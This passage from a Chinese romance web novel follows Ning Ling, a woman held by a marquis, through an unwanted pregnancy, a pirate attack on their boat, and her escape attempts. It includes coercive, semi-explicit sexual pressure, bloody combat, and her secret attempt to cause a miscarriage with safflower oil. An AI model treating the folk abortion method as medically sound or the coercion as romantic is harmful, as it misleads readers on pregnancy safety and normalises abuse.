“前三个月万万不可同房。”王姑姑先说出最重要一点。 宁泠点点头,这招她知道,裴铉更知道,这个办法行不通。 宁泠问道:“可有什么忌口,小心触碰的?” “麝香、红花之类孕妇是千万不能碰的。”王姑姑想了想又道,“骑马,舞刀弄枪也不行,最好静养。” 宁泠听了有些灰心,这些东西在侯府她都没有机会,还是要加快离开的计划才行。 裴铉回府后一边净手,一边听着王姑姑等人汇报。 现在他每天回府后,都要仔细过问一遍宁泠今日的起居饮食。 听到无异常后,他轻松地点点头。 倏地又想到宁泠泪眼婆娑地说着难产,他紧蹙眉头,面色不佳问王姑姑:“你是有经验的老人,遇见难产的人有多少?” 王姑姑知道裴铉担忧,连忙宽慰道:“难产多是胎位不正,胎儿过大引起的,宁姑娘的胃口不好,应是不会难产。” “以后唤夫人。”裴铉莫名地觉得那声宁姑娘刺耳,“还有本侯问你遇见多少,你老老实实回答就是。” “每十人中约莫两三人。”王姑姑不敢再卖弄,老老实实回答。 裴铉听了顿时心口一跳,没想到竟有这么多人。 “侯爷放心,夫人身边姑姑太医众多,一直小心照料,不会有事的。”王姑姑道。 裴铉想着已经答应了宁泠回青山县,她应该心情稍好些了。 “她今日心情如何?”裴铉问道,前些日子一直闷闷不乐。 王姑姑嘴角笑开:“今日饭菜吃得比以往想得多,而且还破天荒地问老奴有了身孕要多注意什么。” 裴铉眉眼间的郁气散了几分,但又担心宁泠事出反常必有妖。 她向来不做无用之功,说不定又开始打探消息,以备后手。 他盯着王姑姑道:“你说了什么?” “老奴让夫人多静养,少走动。”当下人的最会察言观色,王姑姑发现裴铉眼神凌厉。 下意识避重就轻,简要回答。 这个回答中规中矩,裴铉放了心。 裴铉净手换好衣衫后,拨开帘子进了屋。 宁泠气定神闲地写着大字,情绪稳定,身旁的珍珠,拿着绣棚在绣东西。 自从宁泠有了身孕后,他不敢让她独自留在屋子里。 见裴铉回来了,珍珠连忙离开,着急地连绣棚都没有带走。 裴铉走近一瞧,约莫是给小孩子绣的东西,上面的花纹是麒麟送子纹,已经绣了一半。 “宁泠,怎么不跟着一起绣?”他看着专心致志写大字的宁泠问道。 一心写字的宁泠被他出言打断,语气有点不耐烦道:“府里那多人,那还缺这。” 裴铉走近握着她的手,一笔一划带动写:“你是孩子的娘,旁人比不得。” 宁泠心里本就不期盼这个孩子,现在日日被他折磨。 她心气不顺,把手松开:“你没看见我白天吐的饭都吃不下,晚上连觉也睡不好吗?” 宁泠如今晚上常常睡不安稳,找了太医也只说思虑过重。 “是我的嘴笨。”裴铉从背后轻轻搂住她的腰肢,“宁泠不想绣就不绣。” 他从宁泠身上没有感受到一点母亲对孩子的爱,这让他心慌难受。 “侯爷话说得轻巧。”宁泠牙尖嘴利,“我是母亲该绣,你不是他父亲?” 裴铉连连赔不是:“我一时失言。当然是我的孩儿。” “那你怎么不绣?”宁泠继续咄咄逼人,“我被他闹得日夜不安,你倒是乐得逍遥,凭什么?” 孩子又不是她宁泠一个人的,凭什么就她不安生。 “宁泠想我给孩儿绣什么?”裴铉知道她又开始撒气了。 现在有了孩子后,她常常撒气使唤他。这样挺好,以前一个人闷闷不乐,痴痴傻傻做一天,更是郁结于心。 “绣衣衫什么太难了。”宁泠勉为其难退了点,“绣些鞋袜的简单玩意,堂堂侯爷总不会愚笨至此不会吧?” 裴铉被她一番话激得哭笑不得,“我还没绣呢?宁泠就开始编排我笨了。” 宁泠冷哼他一声,不想理人,打算继续练字。 自上次逃跑之后,她才知晓世上能写一手好字,在外生存简单得多。 光识字不够,不会写字,还是只能去干粗活杂活。 裴铉出了内室又回来了,手上似乎还拿着一个什么东西,宁泠没仔细看。 “我以前不曾绣过东西。”裴铉笑着说着,“宁泠,你该来教教我。” 宁泠有些烦他狗皮膏药的模样:“府里的绣娘一大堆。” “宁泠好生无情啊。”裴铉不肯,一副怨夫状,“你读书写字可都是我一点一滴,手把手传授的。” 宁泠长叹一声气:“那你别绣了。” 省得她自己给自己找事。 裴铉将他手里拿着的香囊递给宁泠看:“上次宁泠送我的礼物,可是这?” 宁泠难得被噎住,上次她逃跑为了去书房偷卖身契,也为了让裴铉睡沉。 特意用这个香囊装了养心香,当做礼物送他。 “费尽心机逃跑的赃物,可称不上礼物两字。”裴铉依旧是笑脸吟吟的模样,俊美异常的脸上打着打趣。 宁泠皱眉问道:“你想干什么?” 秋后算账准没好事,不过她眼下已是最糟糕的模样,她不怕他。 “你给我重新绣一个香囊。”裴铉要求道,她逃跑后他就有这想法。 宁泠不肯,语气不好道:“既想让我为你生儿育女,还想让我给你做香囊,真是让我做牛做马,粗使奴婢的活都比我少。” 床上要伺候,床下指望她生儿子,闲着还要给他绣香囊,天天异想天开。 裴铉抱着她央求道:“绣个最简单的。” 宁泠坚决不肯。 “宁泠何时给我绣好香囊。”裴铉厚颜无耻威胁,“我们就何时出发去青山县。” 宁泠的脸阴沉了下来,咬着牙答应了。 按照王姑姑说话的意思猜测,落胎最好是在三月前,她耗不起。 她本想连夜加工完成,裴铉却为她洗漱道:“不着急,身子最重要,明日再绣不妨事。” 夏季的风带着热意,闷热环绕在屋头,宁泠心绪不宁,一直睡不踏实。 裴铉看着忽然又惊醒的她,问道:“怎么了?” 宁泠摇摇头,睡得断断续续,以前一觉睡到天亮,如今却是不行了。 睡上个把时辰就醒了,没睡醒想睡又睡不着。 “不然,你还是命人放点碎冰吧。”宁泠认为可能是闷热难以入眠。 裴铉哄睡似地她拍背道:“暂且忍耐下,待三月后再用冰。” 他一个大男人血气方刚,睡在宁泠旁边更是难捱。 可他不敢贪一时之欢。 宁泠睁着眼道:“睡不着了。” “睡不着,咱们聊会。”裴铉陪着她,“王姑姑说待你月份大了,身子会浮肿不舒服,刚好天气酷热了,教你凫水如何?” 宁泠没答,小时候镇上乡下的野孩子们,都爱贪凉去溪水边嬉戏打闹。 她从小就会凫水,根本不需要他教。 宁泠又忽地想到,想回青山县。 要么是从盛安城直接坐马车到青山县,但是路途遥远,马车颠簸。 要么先是先乘船走水路去浮白州,接着从浮白州马车去青山县,再回她的小镇上。 裴铉担心她腹中胎儿,多半会选择水路,她隐瞒了自己会凫水。 此后的几天,裴铉早早下值后就和宁泠一起坐在榻上绣东西。 珍珠胆战心惊地望着两人,一会教这个,一会看那个学得怎么样了。 心里颇为纳闷,侯爷好端端地怎么想起刺绣了。她长这么大,还没见过男人干这活。 裴铉以前虽然从没拿过绣花针,不过他脑子灵活,学东西快。 但还是免不了被扎几针。 裴铉 让宁泠给他绣最简单的图案,宁泠敷衍地选了一丛竹子。 颜色简单,形状单一。 原本三日便可完成的时间,硬生生被裴铉拖到五日活才完工。 将最后一根线减掉,宁泠将手里的香囊扔给了裴铉:“你要的礼物。” 自从上次划脸后,他许久未曾与她亲近,两人共处一室,也鲜少说话。 这几日一起刺绣,看着她认真为他缝制香囊的模样,他心里的失落少了些。 裴铉接过香囊,检查了一番,颇为满意。 将林韦德喊进来,吩咐道:“你去准备下,我们坐船去浮白州,接着回青山县。” “侯爷,要不此行暂缓。”林韦德面带担忧,“上次刺客的事情还没有水落石出,暂时待在盛安城较好。” 第60章 第60章【VIP】 宁泠紧张地看了眼裴铉,生怕他反悔不去青山县了。 裴铉掂了掂手心的荷包,手指摩挲着上面的花纹:“多准备些好手,此行不要泄露。” 林韦德还想多劝,可看了看宁泠急切的神色,还是点点头退下。 “我言而有信,宁泠也要放宽心养胎,好好诞下我们的孩儿。”裴铉笑着说道。 宁泠不答,拿起裴铉为小孩子绣的鞋袜,小小一个似巴掌大小。 针脚绵密,是最好的料子。 晚上时刻,天气还是有些闷热,宁泠翻来覆去睡不着。 旁边的裴铉被惹得身上燥热:“安心躺着,不准再乱动。” 外面传来阵阵虫鸣蛙叫,拂来带着热意的暖风。 天空繁星点点,室内撒满暗淡的星光色。 “我睡不着。”宁泠不舒服地翻身,却被裴铉紧紧禁锢在怀里,不得动弹。 裴铉抵着她的后背:“你要是再乱动,我两都睡不成了。” 宁泠知道他顾忌着这个孩子,定然不敢胡作为非。 她有恃无恐动弹:“我就要动,怎么了?你受不了自去外面睡。” 裴铉的声音哑了控诉道:“宁泠是存心的。” 宁泠不答,只有意无意地撩拨蹭他。 裴铉将她拥入怀里,吻上她柔嫩的唇瓣,轻柔缱绻地索吻。 宁泠不肯,想要偏开脑袋,他有力地大手扣住了她的后脑勺。 他一改以往霸道强势的性格,极有耐心地慢慢摩挲着唇肉。 舌尖不厌其烦地描绘着唇珠的形状,宁泠被他弄得不能呼吸。 用脚踹了他一脚,夜色朦胧她也不知道踹到哪儿了。 只听见他略微痛苦地闷哼一声。 他温热的唇稍稍离开,宁泠轻启丹唇呼吸着新鲜清甜的空气。 那厮却正好趁机进来,舌头顺势进入宁泠口腔,缠绵着她的小舌。 滑腻的触感,惊得宁泠忍不住睁开眼眸一瞧,他面色克制,暗藏着欲。望。 似乎感觉宁泠的不专心,他的手在柔软的云朵上,示威震慑地捏了一下。 猝不及防间,宁泠娇娇地嘤咛出声。 男人的身躯越发炙热,许久之后不再碾磨她的唇。 裴铉昳丽的俊脸坏笑道:“宁泠越发勾人了。” 以往宁泠最怕他这幅饿狼疯狗的模样,现在倒是有了底气。 她有心折磨他,翻身而上:“是啊,可惜侯爷现在看得着吃不着啊,堪比太监。” 最好逼得他离开,她一人独占床榻。 她不怕死地跨。坐于他身体正上方,俯下身用她小小的手掌不示弱地拍拍他的脸颊:“唉,睡吧。” 裴铉唇角的笑越发艳丽,灼热的手扣住她纤细细腻的腰。 宁泠有些害怕了,他在这些事情上一向无师自通,极为厉害。 眼下笑得不怀好意,准没什么好事,她挪了挪身体欲要下来。 他却扣住了她:“闯了祸拍拍屁股就走人了?” “你想干什么,你可别忘了我有孕要静养!”宁泠理直气壮。 昏暗的夜色,将他那副好皮囊的锐利磨去几分,添了几分邪气。 他知宁泠拿捏了这点,才敢肆无忌惮行事。 “怕什么?我还能吃了你,放心不动你。”他嘴上说得真诚,身下却动了下。 宁泠觉得不太安全:“我困了。” 他却带动着他的手,温暖的大手掌覆盖着她小巧漂亮的柔夷。 宁泠回想起第一次逃跑时,他干得好事。 手心顿感燥热,连忙挣扎:“不行。” 裴铉早有预料,漫不经心地松了手,接着从在她脖颈处慢悠悠地用略微粗糙的指腹画着圈。 从天鹅似纤柔的脖颈,到凹凸有致精美的锁骨,云朵似绵软的手感,还有意无意地拨弄着。 她小腹平坦有点软肉,捏着很是舒服。 宁泠羞红了脸,而耳根都发烫:“我要睡觉了。” “我也想睡觉了。”裴铉轻笑出声,带着她的小手,“可是他怎么办?谁惹是生非,谁就要善后。” “我天天这么累了,还要再伺候你。”宁泠恼羞成怒,怒气冲冲瞪她一眼。 模糊的夜色下,她亮晶晶灵动地眼眸十分惹人怜爱。 裴铉的手指想要触摸她张张合合的红唇,却被她厌恶地躲开。 她感受到他胸腔的颤动,声音调侃道:“自己的有什么好嫌弃的?我可是爱极了你的小嘴了。” 宁泠很是警惕地捂住嘴,清澈黝黑的眼眸瞪着他,示意他不可能。 裴铉的手指不安生,暗示性地按了按某处,吓得宁泠如同炸毛的小猫,毛发竖起,气呼呼道:“畜生,你怎么能想到这种地方?” “怀孕除了那处不行,哪处都可以。”裴铉坏心地视线扫过她的唇手,和起伏的山峦和下方,大发善心道:“你先选,你不选待我选了,哭都没用。” 宁泠的眼眸蓄满眼眶,语气可怜道:“我现在都这样了,你还逼迫我?” 裴铉十分好奇她的眼泪是如何来去自如的,虽知她是装可怜希望他放她一马,可免不得心疼动容。 见他闷声不说话,宁泠龟速似地想慢慢挪下来。 “现在不选,等去了船上,船舱房间可没这么隔音了,你想大家都知道?”裴铉还不要脸地提道:“尤其王姑姑那张嘴,小心她跟着你身后追问。” 王姑姑十分关系宁泠的身孕,知晓两人同榻而眠,她又不敢去劝裴铉,常常话里话外暗示宁泠。 宁泠脸皮子薄,慌得连忙摇头:“不行。” 裴铉又继续覆上她的手,感觉道她没有那么抗拒了。 小姑娘就是这样,稍稍吓唬她一番立马就丢了嚣张气势。 月亮高挂于夜市时,宁泠沉沉睡去,许是晚上忙碌了许久,人累了就睡沉了。 她睡醒后,珍珠兴奋告诉她:“侯爷,让我们收拾好行李,明天就出发坐船了。” 宁泠点点头,也算昨晚没有白忙碌。 王姑姑脸色忧愁,三个月胎还没坐稳,怎么还出远门了? 她不放心地收拾行李,想着要小心再小心。 到了出行那天时,裴铉带了许多侍卫,都身穿铠甲,兵器齐全。 看着排排列列整齐的士兵,宁泠心里想着如何脱身才好。 宁泠带着珍珠和两个姑姑上了船,裴铉在外安排巡视警备等事情。 船帆缓缓扬起出行,宁泠内心哀叹一声,这是最后的机会了。 如今现在没有成功逃跑,以后显怀了更不容易。 裴铉回屋,刚好对上宁泠低落的神情。 他一边先净手,一边问道:“心心念念记挂着回去 ,怎么上船了还不开心呢?” “侯爷教我读得书上不是说,近乡情怯。”宁泠笑笑,不想让他猜出她的真实想法。 裴铉一双锐利的眼眸却十分老练精明:“宁泠又想着如何逃跑了?” 虽然两人心里都或多或少知晓,可宁泠没想到他就这么大大咧咧说出来了。 “宁泠不肯为妾,我答应了以后娶你做正妻,还不放心什么呢?”裴铉把玩着她套在手上的玉镯,语气撒娇卖弄可怜,“宁泠可真狠心,尽想着些抛夫弃子的事情。” 宁泠本不想多说,可想了想还是回答:“我虽然说的是正妻之位,其实想要的更多是尊重,例如说以前我担心你娶妻我吃尽苦头,现在我也可以担心你以后宠妾灭妻。” 他们不是一个世界阶级的人,从来只有他裴铉要怎样就怎样。 而她只能按照他的行为意图存活,妾与妻在他一念之间罢了。 “我以后不纳妾就是了。”裴铉脸色不好看,还是按捺住情绪安抚她。 做妾不愿意,做妻也不情愿,说来说去嫁的人是他,就横竖不愿意。 因着担心宁泠孕吐晕船,原本两三天便到了的路程,如今才走了一半。 许是船上水声荡漾,丝丝凉凉的水汽缓解了夏日的闷热,宁泠睡得倒是比侯府还好。 晚饭时河里打捞的新鲜鱼鲜,宁泠吃着还不错。 “现在吃没鱼腥味了?”裴铉笑着剔除鱼刺,“府里的鱼你可一个劲说土腥味。” 宁泠最近的胃口好了,又想着要逃跑,身体要养好,多吃多睡养精蓄锐。 温馨柔和的烛光下,两人静静吃着晚饭,没有争吵,有几分夫妻间的和谐静好。 忽然间,门外传来几声急促的叩门声。 咚咚咚的声音像是催命符,裴铉停止剔除鱼刺的动作,皱眉问道:“何事?” 晚上一般无急事,没人敢打扰。 是林韦德的声音,“侯爷,有三艘船正在靠近,疑似水匪。” “进来。”裴铉吩咐道。 才出了盛安城三日,就来了水匪,可真是够巧的。 不知是真水匪,还是有心之人披着水匪的皮。 林韦德进来后讲解外面的情况:“三艘中小些船只,上面的人数比咱们只多不少,不过兵器应该不及咱们。” 裴铉拨动着手指的玉韘,面色思考,他抬眸看了眼端坐的宁泠。 心里没来的几分烦躁,又视线下移看了看她的肚子。 “去把张川叫来。”他下定决心说道。 张川进来后低头问道:“侯爷有何吩咐。” “等会若他们敢登船掠夺,你就带着夫人乘坐舢板离开,先行一步去浮白州。”裴铉下达命令。 张川似乎不大情愿,想留下护卫裴铉。可他刚抬眸,就对上侯爷冷漠的视线,闭上了嘴。 “舢板小,只能乘坐三人。”裴铉放缓语气,询问宁泠,“你想带谁?” 她不是要他尊重她吗?他以后改就是了,虽然他私心里更希望王姑姑去,毕竟珍珠年幼不懂事。 “珍珠吧,我用惯了她。”宁泠尽量保持情绪平安。 裴铉点了点,与林韦德一起出去准备厮杀。 脚才抬几步又折返回来,蹲在宁泠身前,与她视线齐平:“答应我,在浮白州安心等我可好?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章【VIP】 宁泠看着裴铉急切的眼神,点了点头。 心里却在思索这是最好的时机,该怎么利用才好。 裴铉显然也十分明白,他起身离开前深深地看了一眼张川,让他守好人。 张川点点头,他以前追踪寻找过宁泠,清楚她逃跑的能力。 待裴铉走后,张川提议道:“请夫人换上丫鬟衣裙,最好撤去朱钗首饰。” 裴铉让他带着夫人先走,是怕贼人上岸后伤了她。 且船上免不了一场血战,担心她受不了血腥场面。 可若是她身着华丽,气质不凡,惹了水匪注视,一眼便知她身份不低,必会加派人手来抓她。 宁泠明白其中厉害,语气担忧:“那王姑姑她们怎么办?” 她们都手无缚鸡之力,留在船上杀不了敌人,只能徒增伤亡。 “侯爷会率领侍卫抵住前方主力。”张川回答,“余下的老弱妇孺都乘坐小舢板离开。” 若只有一只舢板同样醒目,令人怀疑。 数量多了,老弱妇孺侍女都混在其中,又没有携带大量钱财,水匪便没有追击的兴趣。 宁泠点点头,转身和珍珠去换衣衫。 将头上的发簪取下,正欲搁下时,又倏地转念揣入怀里,还将一只发簪塞给珍珠。 珍珠面色不解对上宁泠的视线。 “选一只最锋利的发簪防身。”宁泠语气冷静,教着珍珠,“若有水匪追上我们,先假意以弱示人,趁他们不备,朝他们眼喉脆弱器官用力刺。” 外面的张川听见,暗暗点头。 没想到她有如此胆量魄力,难怪一个弱女子能够独自在外逃跑许久。 宁泠的手脚麻利,很快和珍珠换好了衣服。 宁泠还特意让珍珠和她多穿了几件衣衫,显得身形臃肿,脸上摸了灰,像是灶房里的婆子。 见两人出来,张川扫视一眼, 眼眸满意,他最担心宁泠恃宠而骄,不配合他。 接着张川带着两人躲在漆黑的船底附近,宁泠感觉自己心跳地飞快。 刚才听闻消息,第一反应不是害怕紧张,而是惊喜逃跑的机会来了。 现在听着众人慌乱的心跳声,才惊出一身冷汗,吓得浑身发抖。 若是被水匪生擒,她们女子面临得会是怎样暗无天日,生不如死的生活,宁泠不敢细想下去,只能暗自祈祷裴铉能剿灭水匪。 裴铉败下阵或者逃跑,她们离被抓也不远了。 宁泠头冒冷汗,尽量控制住自己胡思乱想。 在众人沉重的呼吸声里,不知过了多久。 忽地似是船遭到重物碰撞,船身晃荡,众人都身形不稳,哪怕张川早已提醒过宁泠水匪登船时会船身不稳,可她还是失去平稳,险些坠到在地。 她一只手臂跌在甲板,幸好张川眼疾手快拉了她一把,才没摔倒。 “就是现在,走!”张川低声对宁泠说道。 宁泠和珍珠点点头,上了准备好的舢板,身后众奴仆也分散登上舢板。 宁泠带着珍珠登上舢板,张川奋力划着船桨,她回头看了一眼大船。 密密麻麻的人站在甲板上,魁梧壮硕的林韦德背着那把骇人的大刀,裴铉高大的身形鹤立鸡群地凸显在人群里,他似乎心有所感,回头望了眼宁泠的位置,宁泠低下了头错开他的视线。 张川划着船桨,舢板越走越远,远处船上的人逐渐成数不清的黑点,黑点里似乎还掺杂着鲜红的血。 林韦德举着大刀,砍瓜似地砍着四周的水匪。 裴铉手里锐利的长剑凌厉无比,两人如同杀神般,杀得水匪心生退意。 虽然人数比不上水匪,可都是个中好手,身经百战,训练有素。 尤其是在空间有限的甲板上厮杀,人多了反而是累赘。 水匪头子被裴铉身上浓烈的杀意吓着,转眼看见四处逃散的舢板。 他跨站在甲板上,眯眼一看,都是些老弱妇孺。 船上的金银财宝他是没福享受了,但抢几个女人也算不亏。 他大声吼道:“都给老子去舢板,逮哪些娘们!” 厮杀的水匪面色放松,他们早已招架不住,就等着老大说撤退。 裴铉听了浑身散发阴鸷森冷,眼神如刀子般恨不得在水匪身上捅出窟窿。 “传我令杀一人得十金,若不幸身亡我保其后嗣家眷富贵一生。”裴铉杀红了眼,“若水匪有一舢板下水,全体皆受罚。” 他招式刁钻狠厉地抹了水匪的脖子,喘着气抽空看了眼一望无边,水平浪静的河面。 水面上稀稀疏疏地飘着几只舢板,已分不清他的妻儿在哪里。 水匪若用舢板四面围攻宁泠,后果不堪设想。 身边的侍卫听了裴铉的命令,纷纷气势更甚。 人不怕拼命,怕得是拼了命还一无所获。 看着裴铉以身士卒,孤身厮杀在最前面,后面的侍卫也不甘示弱,纷纷追上来。 林韦德看着裴铉孤身入了水匪船,心里着急得很。 奈何被身边的水匪缠住,只能眼睁睁看着。 水匪头子看着形势扭转,扬起兵器喊道:“人都过来,把这个小白脸给老子困死。” 擒贼先擒王,把他弄死,下面的不成气候。 裴铉闻言却笑了,看着一层一层围过来的人,心里毫无恐惧。 如此便无 人能去追击宁泠了。 双手难敌四拳,裴铉的剑使得再好,也有精疲力竭的时候。 一时不察,被人从后背偷袭,大刀从肩膀处狠狠地划至腰侧。 “侯爷!”林韦德情急地大吼一声,面色狰狞。 他费力一脚踹开身边人冲了过去汇合。 他与裴铉背靠背,奋力厮杀,等待身后的侍卫追上。 不知过了多久,激战结束了。 裴铉沾满鲜血,狼狈地跌坐在血流成河的甲板上,面色苍白,手指发抖,力竭地握不住剑。 背后的林韦德喘着气劝说道:“侯爷,下次不可再莽撞了。” 仗着武艺高强,孤身入敌,可那么人一波一波地涌上来,一不留心就没命了。 “林韦德。”裴铉衣衫上布满的鲜血,已分不清是自己多些,还是敌人多些,“你能眼睁睁看着自己的妻儿落入敌人之手?” 身为人夫,若护不住妻儿,何以立足天地间。 哪怕刚才那一刀捅进心脏,今天死在这他也没有一点后悔。 不过宁泠会真心为他的死掉一滴泪吗?大概会的,只是无关情爱,唯有心软罢了。 裴铉苦笑一声,恢复了一些体力,向林韦德伸手,将他拉起来。 “走吧,还要加急去浮白州。”裴铉望着自由流淌的河水。 她费尽心思出来,必不会老老实实等他回去。 路上定绞尽脑汁,想着趁机离开。也不知张川能不能看住她? 一想到此时,裴铉的心慌比刚才更甚。 一天后,张川带着宁泠到了浮白州。 码头上人头攒动,很是拥挤,张川的视线紧紧跟随宁泠。 走出码头后张川租了一辆马车,带着宁泠珍珠去了准备好的落脚处。 裴铉早派人了来浮白州打点行程,住宿吃食都齐全,张川到了后第一件事情就是调派人手,将小院围得水泄不通。 宁泠打量着幽静的小院,一尘不染,各类用具都周全。 珍珠带着宁泠在小院内闲逛,她忽地吃惊叫唤一声。 宁泠的视线寻了过去,珍珠兴高采烈地指着一处地方:“那儿有小猫,我刚看见了。” 郁郁葱葱的灌丛下,似乎有什么动物惊得灌丛轻微响动。 宁泠和珍珠放轻脚步走近,走近果然有一只全身毛发都是白色的小猫。 而且它是异瞳,一眼睛是黄色,一只是绿色。 “去找些吃食来吧。”宁泠担心吓着它,没有伸手触碰。 珍珠积极道:“好。” 话音刚落就一阵风似地跑没影子了。 小猫体型不大,很瘦能够看见它凹陷的骨头,毛发干涩成团,宁泠怜惜地蹲着看它。 它似乎感受到善意,小声地喵喵叫。 珍珠很快拿着肉干和煮好的鸡蛋回来,还很细心地拿了一个碗,里面装满干净的清水。 珍珠和宁泠将吃食撕碎放下,白猫狼吞虎咽地吃着。 两人都蹲在一旁看着它,珍珠的眼睛四处张望:“也不知道有主人没?它怎么进来的呀,围墙这么高。” 宁泠听了心神一动,它要么是翻墙进了院子,要么就是狗洞。 大户人家的院子许多都有狗洞,说不定这儿也有。 想到这儿,宁泠站起身来,打算将小院子巡视一遍。 “姐姐,怎么了?”珍珠迷惑问道。 宁泠不动声色:“蹲久了,起来走走。” “好,我陪你。”珍珠不放心她一个人。 宁泠也没出言劝阻。 宁泠将小院仔仔细细走了一圈什么也没发现,不死心地又走了一圈还是没有发现。 看着众多侍卫,裴铉早早安排好的院子,没有这么明显的纰漏也正常。 不过她准备了几个计划总有一个能用上。 宁泠回了屋子歇息,让珍珠叫了张川过来。 张川避嫌地站在一副巨大的花鸟纹屏风外,态度恭敬问道:“夫人有何事?” “我随身带的衣物都落在船上了,我要去外面买些。”宁泠将自己的需求直说。 张川皱眉:“属下马上派人去买。” 言下之意宁泠不用出门。 “张大人如何买?”宁泠似是感觉到好笑,“难不成对我身形的尺寸都一清二楚吗?” 宁泠这话压得张川头冒冷汗,连陪不是:“属下不是这个意思。” 一个下属对主母的身量了然于心,十分不敬,他刚才只是下意识地不愿她外出。 “那就请大人放我出门。”宁泠说道。 张川弯下腰道:“现在外面不安全,属下可以将绣娘请上门,一定让夫人满意。” 外面的衣庄铺子银子给足了,上门制定不是难事。 他身段谦卑,实际态度强硬。 宁泠无可奈何:“好吧。” 张川的办事速度很快,约莫半个时辰就将绣娘请上门了,他还十分谨慎,命人搜身后才将人放进来。 绣娘为宁泠量了身量,回去将铺子里的成衣改改尺寸就合身了。 黑色笼罩在大地上,外面铺子约莫快要关门时,新衣衫送上门了,珍珠伺候宁泠更衣试穿。 “呀,姐姐这儿有淤青。”珍珠紧张地打量宁泠的手臂。 “可能是慌忙之中,不小心撞到了。”宁泠不在乎地说着。 珍珠十分心疼,青紫色在宁泠白皙如玉的肌肤上十分显眼,“姐姐身上其他地方也被撞了吗?” “后背处有些隐隐作痛。”宁泠蹙眉,“不过不妨事。” “那怎么行?”珍珠语气着急,“我让张大人去请个大夫看看。” 宁泠抬眸看了眼天色:“外面铺子都关门了,又不是什么大事,你去问他要一瓶红花油我擦擦,说不定明日就好了。” “他们有吗?”珍珠不放心问道。 “习武之人免不了跌打损伤都会随身携带。”宁泠语气肯定,“不过你别说我用,只说你要,不然他准会半夜大惊小怪地拎个大夫来,闹得大家都睡不好,我也乏了。” 珍珠听话地点点头。 在外奔波了许久,眼下是众人都疲倦时。 珍珠找上门时,张川已经歇息了。 他穿好衣衫,神情疲惫:“怎么了?可是夫人出了什么事情?” “夫人没事。”珍珠小声说道:“是我想要些红花油揉擦淤青。” 张川点点头,水匪上船后珍珠没站稳摔了一跤。 红花油这东西不稀奇,他转身拿了一瓶给她。 宁泠如愿拿到了红花油,并不惊讶。 绣娘衣衫本就是虚晃一招,将张川的注意力放在外面。 又是在人昏昏欲睡的夜晚,对平常事物警惕大幅度下降。 第62章 第62章【VIP】 唯一不确定的就是红花油真能滑胎吗? 宁泠不知道,但也只有咬牙一试。 “我自己擦药。”宁泠温声对珍珠道,“你也累了,好好睡一 觉吧。” 珍珠点点头,没有起疑心。 毕竟宁泠向来不愿别人看她身子,沐浴都不用人伺候。 宁泠一打开红花油,那股刺耳的味道就让她反胃不适。 她咬牙忍住不适,将红花油倒在皮肤上擦拭,可过了许久都毫无反应。 宁泠又加大剂量全部涂抹在皮肤,却被浓烈的红花油味激得反胃呕吐。 睡在外间的珍珠被惊醒,着急地起身过来查看。 “姐姐,你怎么了?”珍珠披着外衣,举着烛火。 宁泠安慰:“没事,我只是闻不惯红花油的味道。” “那我开窗通风,去去味。”珍珠去撑窗。 宁泠想阻止,却又找不到合适的理由。 张川的红花油一小瓶她都用完了,却似乎没有用。 莫非要口服红花?还是剂量不够? 宁泠思考着睡着了,第二天睡醒看见床榻处坐着个人。 裴铉视线温柔地注视宁泠,她脸上的伤已经不见一点痕迹了。 可他还是心疼地摩挲伤口:“还会疼吗?” 宁泠摇摇头,只有最开始几天会有痛意。 她刚醒来的嗓音有点哑:“水匪都处理完了?” 裴铉点了点头,给她倒了一杯温水喂她喝。 “那此行再遇险可能性大吗?”宁泠接着问道。 裴铉以为她被吓着了,温声道:“派遣杀手不是那么容易的事情,短期应该不会。” 他们刚经历过一次刺杀,必然处于高度警觉状态。 敌人们应该也清楚,并无论人力财力都不是那么容易再实施的,但万事无绝对。 他不由面露期待地望着宁泠,她既然问了水匪,会不会随口关心句他受伤没。 宁泠喝了水后没说话,穿衣起身洗漱。 裴铉心里空落落,感觉身体的疲惫一涌而上。 宁泠在外间吃早饭时,刚好遇见林韦德。 林韦德面带犹豫地杵在门口,宁泠看了一眼没说话。 他期期艾艾地开口:“侯爷为了杀水匪,命都不要了,后背划了好大一个口子,大夫都没来得及去看,担心你的安危就急匆匆地赶过来了。” 他话里话外的意思让宁泠多关心,多照顾他。 “那你快去给他上药。”宁泠蹙眉道,难怪他靠近时,闻见一股似有似无的血腥味。 林韦德推脱道:“我一个大男人笨手笨脚,恐怕干不好这个事情。” 他暗想侯爷是怎么了?上次马场不是哄得宁泠心软不已,现在怎么成了闷葫芦,一言不发。 “那还是请大夫最为稳妥。”宁泠面色冷静。 林韦德暗想大夫自然是要找的,可侯爷最想要的还是她的关心。 若是以前的宁泠肯定心急如焚,心怀愧疚。 可经历马场一事,她总怀疑他又故意拿捏她心软使诈,例如这个孩子的由来。 林韦德无奈去请大夫,宁泠吃了早饭后带着珍珠在院子里转。 逃跑是个体力活,她不能疏于锻炼。 走了一个时辰功夫,夏日里的太阳毒辣得很,宁泠回屋了。 裴铉脱了外衣赤条条地躺在榻上,精瘦的后背上布满大大小小的伤口。 尤其有一道几乎横贯整个背部,血肉模糊,伤口狰狞吓人。 他俊美的脸带着病态的白,紧咬嘴唇神情忍耐,大夫在身后用银针穿线给他缝伤口。 他听见了宁泠的脚步,轻声喊道:“宁泠,别进来。” 宁泠隔着一道遮挡视线的珠帘,停止了踏进的脚步。 “血腥味太冲了。”裴铉手指并拢压抑剧痛,语气尽量放柔,“我担心你看了伤口受不了。” 林韦德暗自摇头,说不定宁泠进来看看就能心软了。 宁泠放下撩起准备进入的珠帘,果断转身离开:“好。” 那边传来大夫小心叮嘱的声音:“夏日伤口及其容易发炎,要注意晚上是否发热。” 林韦德都谨记于心。 宁泠孕期嗜睡,下午便想回榻上午睡了。 裴铉侧过轮廓分明的看她:“困了?” “嗯。”宁泠神情懒懒。 “我搬去偏房睡。”裴铉主动说道。 宁泠眉头轻挑,神情诧异,之前他死乞白赖不分榻,如今又主动分开。 “我发高热,传染给你就不好了。”裴铉笑笑,“伤好了还是要回来。” 宁泠的脸色暗淡了些,似乎有些失落。 “宁泠你希望我尊重你,我认真听进去了。”裴铉的笑泛了苦意,“你能不那么抗拒吗?至少给我个机会。” 宁泠真的不太懂男人,或许对于裴铉来说第一个孩子意义非凡,她还真是母凭子贵了。 “你真的尊重我就应该放我离开。”宁泠将直抒胸臆,“而不是你自以为是的为妾为妻,我都不稀罕,也谨记藏书阁你让我安分守己。” 裴铉被她怼得讪讪,他什么都可以去争取,唯独放她离开做不到。 “既然做不到真正尊重放我走,就不必再假惺惺地为我好了。”宁泠情绪平静地说出这件事,似是在讨论无关紧要的事情。 